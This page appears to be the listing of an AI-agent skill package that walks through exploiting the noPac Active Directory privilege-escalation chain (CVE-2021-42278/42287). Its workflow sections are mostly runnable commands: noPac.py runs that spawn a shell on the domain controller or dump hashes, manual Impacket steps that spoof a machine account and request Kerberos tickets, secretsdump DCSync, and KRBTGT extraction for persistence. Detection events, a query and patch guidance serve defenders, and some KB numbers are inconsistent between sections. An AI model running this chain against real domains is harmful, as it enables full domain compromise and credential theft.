What it does. Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).
Install
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nopac-cve-2021-42278-42287, or copy the skill folder into ~/.claude/skills/exploiting-nopac-cve-2021-42278-42287/.- Raw file:
curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md
SKILL.md (verbatim)
name: exploiting-nopac-cve-2021-42278-42287
description: Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278
sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and
secretsdump.py to escalate from a standard domain user to Domain Admin. Use when
red-teaming or pentesting Active Directory to validate machine-account impersonation
and DCSync-based credential dumping.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- active-directory
- nopac
- cve-2021-42278
- cve-2021-42287
- privilege-escalation
- domain-escalation
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Platform Monitoring
- Process Code Segment Verification
- Stack Frame Canary Validation
- Segment Address Offset Randomization
- Process Analysis
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078
- T1068
Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.
When to Use
- When performing authorized security testing that involves exploiting nopac cve 2021 42278 42287
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
- Create or leverage a machine account with modified sAMAccountName
- Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
- Use the DC ticket to perform DCSync and dump domain credentials
- Achieve Domain Admin access from a standard domain user account
- Document the complete exploitation chain with evidence
MITRE ATT&CK Mapping
- T1068 - Exploitation for Privilege Escalation
- T1136.002 - Create Account: Domain Account
- T1078.002 - Valid Accounts: Domain Accounts
- T1558 - Steal or Forge Kerberos Tickets
- T1003.006 - OS Credential Dumping: DCSync
Workflow
Phase 1: Vulnerability Scanning
- Check if the domain is vulnerable using the noPac scanner:
# Using cube0x0's noPac scanner
python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
# Using CrackMapExec module
crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
- Verify the MachineAccountQuota (default is 10, allows any user to join computers):
# Check MachineAccountQuota via LDAP
python3 -c "
import ldap3
server = ldap3.Server('10.10.10.1')
conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
print(conn.entries[0]['ms-DS-MachineAccountQuota'])
"
- Run the full noPac exploit chain:
# Using cube0x0's noPac (gets a shell on the DC)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
# Using Ridter's noPac (alternative implementation)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
--impersonate administrator -dump
- The exploit automatically:
- Creates a new machine account (or uses an existing one)
- Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
- Requests a TGT for the spoofed account name
- Restores the original sAMAccountName
- Uses S4U2self to obtain a service ticket impersonating the target user
- The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)
Phase 3: Post-Exploitation
- With the obtained Domain Controller ticket, perform DCSync:
# DCSync using secretsdump.py with the Kerberos ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
# Or directly through the noPac shell
# The shell runs as SYSTEM on the DC
- Alternatively, obtain a semi-interactive shell:
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
Phase 4: Manual Exploitation Steps
- Create a machine account:
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
- Clear the SPN and rename sAMAccountName:
# Rename machine account sAMAccountName to DC name (without $)
renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
- Request a TGT for the spoofed name:
getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
- Restore the original machine name:
renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
- Use S4U2self for impersonation:
export KRB5CCNAME=DC01.ccache
getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
-k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
| Tool |
Purpose |
Platform |
| noPac (cube0x0) |
Automated scanner and exploiter |
Python |
| noPac (Ridter) |
Alternative exploit implementation |
Python |
| Impacket |
Kerberos ticket manipulation, DCSync |
Python |
| CrackMapExec |
Vulnerability scanning module |
Python |
| Rubeus |
Windows Kerberos ticket operations |
Windows (.NET) |
| secretsdump.py |
Post-exploitation credential dumping |
Python |
CVE Details
| CVE |
Description |
CVSS |
Patch |
| CVE-2021-42278 |
sAMAccountName spoofing (machine accounts) |
7.5 |
KB5008102 |
| CVE-2021-42287 |
KDC PAC confusion / privilege escalation |
7.5 |
KB5008380 |
Detection Signatures
| Indicator |
Detection Method |
| Machine account sAMAccountName change |
Event 4742 (computer account changed) with sAMAccountName modification |
| New machine account creation |
Event 4741 (computer object created) |
| TGT request for account without trailing $ |
Kerberos audit log analysis |
| S4U2self requests from non-DC machine accounts |
Event 4769 with unusual service ticket requests |
| Rapid sequence: create account, rename, request TGT |
SIEM correlation rule for noPac attack pattern |
Validation Criteria
Other files in this skill
assets/template.md (verbatim)
noPac Exploitation Report Template
| Field |
Value |
| Domain |
|
| DC Hostname |
|
| DC IP |
|
| Initial User |
|
| MachineAccountQuota |
|
| Patch Level |
KB5008380 / KB5008602 |
Exploitation Steps
| Step |
Action |
Result |
Timestamp |
| 1 |
Vulnerability scan |
Vulnerable / Not Vulnerable |
|
| 2 |
Machine account creation |
Success / Failed |
|
| 3 |
sAMAccountName spoofing |
Success / Failed |
|
| 4 |
TGT request |
Ticket obtained / Failed |
|
| 5 |
S4U2self impersonation |
DA ticket / Failed |
|
| 6 |
DCSync |
Hashes dumped / Failed |
|
| Action |
Priority |
Status |
| Apply KB5008380 |
Critical |
|
| Apply KB5008602 |
Critical |
|
| Set MachineAccountQuota to 0 |
High |
|
| Monitor Event 4741/4742 |
Medium |
|
references/api-reference.md (verbatim)
API Reference: noPac (CVE-2021-42278/42287)
Vulnerability Overview
CVE-2021-42278 — sAMAccountName Spoofing
Allows renaming a machine account's sAMAccountName to match a DC name (without trailing $).
CVE-2021-42287 — KDC Confusion
KDC fails to verify PAC when sAMAccountName doesn't match, granting DC-level TGT.
Attack Chain
- Create machine account (MachineAccountQuota > 0)
- Rename machine sAMAccountName to DC name (e.g., DC01)
- Request TGT for spoofed name
- Rename back to original
- Request S4U2Self — KDC returns ticket as DC$
noPac.py (Impacket)
Scan for Vulnerability
noPac.py domain.local/user:password -dc-ip 10.10.10.1 --scan
Exploit (Get Shell)
noPac.py domain.local/user:password -dc-ip 10.10.10.1 \
-use-ldap -shell
Dump Hashes
noPac.py domain.local/user:password -dc-ip 10.10.10.1 \
-use-ldap -dump
Prerequisites
MachineAccountQuota
# Check quota
([ADSI]"LDAP://DC=domain,DC=local")."ms-DS-MachineAccountQuota"
# Default: 10 (any domain user can create 10 machine accounts)
LDAP Query
(&(objectClass=domain)(ms-DS-MachineAccountQuota>=1))
Detection
Event IDs
| Event |
Log |
Description |
| 4741 |
Security |
Computer account created |
| 4742 |
Security |
Computer account changed |
| 4743 |
Security |
Computer account deleted |
| 4781 |
Security |
Account renamed |
| 4768 |
Security |
TGT requested |
Detection Query
SecurityEvent
| where EventID == 4781
| where TargetUserName !endswith "$"
| where TargetUserName in ("DC01", "DC02")
Microsoft KB
| KB |
Description |
| KB5008380 |
November 2021 patch |
| KB5008602 |
OOB patch |
| KB5008207 |
Cumulative update |
- Apply KB5008380 patch
- Set MachineAccountQuota to 0
- Monitor Event 4741 and 4781 for anomalies
- Enable PAC validation on all DCs
references/standards.md (verbatim)
Standards and References - noPac CVE-2021-42278/42287
MITRE ATT&CK References
| Technique ID |
Name |
Tactic |
| T1068 |
Exploitation for Privilege Escalation |
Privilege Escalation |
| T1136.002 |
Create Account: Domain Account |
Persistence |
| T1078.002 |
Valid Accounts: Domain Accounts |
Initial Access |
| T1558 |
Steal or Forge Kerberos Tickets |
Credential Access |
| T1003.006 |
OS Credential Dumping: DCSync |
Credential Access |
CVE References
Key Research
references/workflows.md (verbatim)
Workflows - noPac Exploitation
Automated Exploitation Workflow
1. Scan → noPac scanner or CrackMapExec module
2. Exploit → noPac.py with --impersonate administrator
3. Access → Semi-interactive shell on DC or DCSync dump
4. Persist → Extract KRBTGT hash for Golden Ticket
Manual Exploitation Workflow
1. Create machine account (addcomputer.py)
2. Rename sAMAccountName to DC name without $ (renameMachine.py)
3. Request TGT for spoofed name (getTGT.py)
4. Restore original name (renameMachine.py)
5. S4U2self impersonation (getST.py)
6. Use ticket for DCSync (secretsdump.py -k)
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